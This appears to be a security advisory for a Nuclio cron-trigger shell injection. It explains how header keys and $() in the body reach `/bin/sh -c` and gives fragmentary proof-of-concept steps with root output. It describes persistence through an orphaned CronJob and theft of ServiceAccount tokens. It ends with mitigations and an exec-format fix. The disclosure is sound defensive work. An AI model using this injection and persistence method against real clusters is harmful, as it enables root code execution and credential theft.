The analysis of the provided security advisory and the associated patch commit 3356b86a8bfab3f960aa420310ebff765df9dede clearly indicates that the vulnerability is located in the generateCronTriggerCronJobSpec function within the pkg/platform/kube/functionres/lazy.go file. The vulnerability stems from the improper construction of a shell command that is used to create a Kubernetes CronJob. The function takes unsanitized user input from the event.headers and event.body of a cron trigger and includes it in a curl command string. This string is then executed by /bin/sh -c. The patch rectifies this by removing the shell (/bin/sh -c) entirely and instead building an argument list for curl to be executed directly. This prevents any user-supplied data from being interpreted as shell commands. Therefore, the generateCronTriggerCronJobSpec function is the exact location of the vulnerability.
Vulnerable functions
lazyClient.generateCronTriggerCronJobSpec
pkg/platform/kube/functionres/lazy.go
The function `generateCronTriggerCronJobSpec` constructs a shell command string by concatenating user-supplied values from cron trigger events (`event.headers` and `event.body`) without proper sanitization. The `headerKey` is interpolated directly into a double-quoted shell argument, allowing an attacker to break out of the quoting context with a `"`. The `event.body` is processed with `strconv.Quote`, which does not escape shell command substitution characters like `$()`. The resulting command string is then executed via `/bin/sh -c`, leading to remote code execution.
CVE-2026-52831: Nuclio: Unsanitized cron trigger event headers/body injected into CronJob shell command leads to persistent RCE
headerKey is taken from event.headers in the trigger specification. Since it is interpolated directly inside a double-quoted shell argument, a key containing " terminates the quoting context. The remainder of the key is then interpreted as raw shell syntax.
Path-B — Body command substitution (lazy.go:2173-2192)
// lazy.go:2188-2192
curlCommand = fmt.Sprintf("echo %s > %s && %s %s",
strconv.Quote(eventBody), // escapes " → \" and \ → \\, but NOT $()
eventBodyFilePath,
curlCommand,
eventBodyCurlArg)
strconv.Quote wraps the string in double quotes and escapes " and \, but does not escape $, (, or ). A body value of $(CMD) becomes the Go string "$(CMD)", which the shell expands as command substitution when executing the /bin/sh -c string.
The entire concatenated string — including any injected content — is executed by the shell.
Persistence mechanism
The CronJob created by the controller carries no ownerReferences linking it to the NuclioFunction. Kubernetes cascade deletion only applies to owned resources. If the controller crashes between function deletion and explicit CronJob deletion, the CronJob continues executing on its schedule indefinitely. The controller code itself acknowledges this at lazy.go:522:
// Delete function k8s CronJobs before the Deployment so they cannot spawn new
// CronJobs are not owned by the Deployment, so cascade does not remove them.
PoC
Environment Setup
The following steps reproduce the vulnerability in an isolated local environment.
Step 5 — Prepare a placeholder image for the function deployment
The controller needs a non-empty image field to create the function Deployment. Load any small image that is already present on the host:
# Tag alpine as the placeholder function image
docker tag gcr.io/iguazio/alpine:3.20 placeholder-function:latest
kind load docker-image placeholder-function:latest --name vul-010
# Also load the CronJob runner image (appropriate/curl or any sh-capable image)
docker tag gcr.io/iguazio/alpine:3.20 appropriate/curl:latest
kind load docker-image appropriate/curl:latest --name vul-010
Exploitation — Path-A: Header Key Injection
Step 6 — Create a NuclioFunction with malicious header key
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/bin/sh: curl: not found
id ran as root via $() expansion before curl was even attempted.
Step 14 — Simulate controller crash during function deletion
# Stop the controller
kubectl scale deployment nuclio-controller -n nuclio \
--context kind-vul-010 --replicas=0
# Delete the function
kubectl delete nucliofunction vul010-rce-visible -n nuclio \
--context kind-vul-010
sleep 5
# Function is gone — CronJob remains
kubectl get nucliofunction -n nuclio --context kind-vul-010
kubectl get cronjob -n nuclio --context kind-vul-010
Actual output from verification:
# NuclioFunctions:
NAME AGE
vul010-body-inject2 2m30s
(vul010-rce-visible deleted — not listed)
# CronJobs:
NAME SCHEDULE SUSPEND ACTIVE
nuclio-cron-job-d84tj8lmuaqc73arn170 */1 * * * * False 0
(CronJob belonging to the deleted function — still running)
Remote Code Execution: An attacker with network access to the Dashboard API (unauthenticated by default) can execute arbitrary shell commands inside the CronJob pod on every scheduled tick.
Runs as root: Every CronJob pod confirmed running as uid=0(root) during verification.
ServiceAccount token exfiltration: The pod's mounted SA token (/var/run/secrets/ kubernetes.io/serviceaccount/token) is readable by the injected commands and can be exfiltrated to an attacker-controlled host via the injected curl call. This token enables:
Enumeration of Kubernetes API resources in the nuclio namespace
In misconfigured clusters, cluster-wide API access
Persistent backdoor: The CronJob resource has no ownerReferences and is not garbage-collected by Kubernetes. In the window between controller unavailability and explicit cleanup, the CronJob continues executing the attacker's commands on the configured schedule (minimum every 1 minute) — persisting beyond function deletion, Nuclio redeployments, or loss of attacker Dashboard access.
Cloud environment lateral movement: In managed Kubernetes environments (AWS EKS, GCP GKE, Azure AKS), the injected commands can access the cloud instance metadata service to retrieve IAM credentials, enabling lateral movement outside the cluster.
Severity
Critical — CVSS 3.1 Score: 9.9
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector | Network | Dashboard is network-accessible |
| Attack Complexity | Low | No preconditions; straightforward payload |
| Privileges Required | None | NOP auth is the default configuration |
| User Interaction | None | Fully automated via API |
| Scope | Changed | Impact crosses pod boundary into cluster |
| Confidentiality | High | SA token, secrets readable |
| Integrity | High | Arbitrary command execution as root |
| Availability | High | Persistent CronJob can exhaust cluster resources |
Affected Versions
All Nuclio versions that support Kubernetes CronJob-based cron triggers, which includes the current production release.
Confirmed affected: 1.15.27 (latest as of 2026-05-17, dynamically verified)
Earliest affected: introduced when CronJob-based cron trigger support was added (cronTriggerCreationMode: kube)
Network-level restriction: Place the Nuclio Dashboard behind an authenticated
reverse proxy or restrict port 8070 to trusted networks only. This limits who can
submit function specifications.
Disable cron triggers: If cron trigger functionality is not required, avoid creating
functions with kind: cron triggers.
RBAC restriction: Remove the batch API group permission from the Nuclio controller
ServiceAccount to prevent CronJob creation. Note: this disables cron trigger
functionality entirely.
None of the above eliminate the root cause; they only reduce exposure.
Replace the /bin/sh -c <string> invocation with an exec-format argument list. This
removes shell interpretation entirely:
// Current (vulnerable): lazy.go:2212
Args: []string{"/bin/sh", "-c", curlCommand}
// Fixed: build curl args as a []string slice
func buildCurlArgs(headers map[string]string, body, address string) []string {
args := []string{"curl", "--silent"}
for k, v := range headers {
args = append(args, "--header", k+": "+v)
}
if body != "" {
args = append(args, "--data", body)
}
args = append(args, "--retry", "10", "--retry-delay", "1",
"--retry-max-time", "10", "--retry-connrefused", address)
return args
}
// Container spec:
Container{
Command: nil,
Args: buildCurlArgs(headersMap, eventBody, functionAddress),
}
With exec format, each argument is passed directly to the process without shell
interpretation. No quoting or escaping is needed.
P1 — Shell-safe quoting (fallback if shell is required)
If the shell invocation must be retained, apply proper POSIX shell quoting to all
user-supplied values before interpolation. The equivalent of Python's shlex.quote
must be implemented in Go: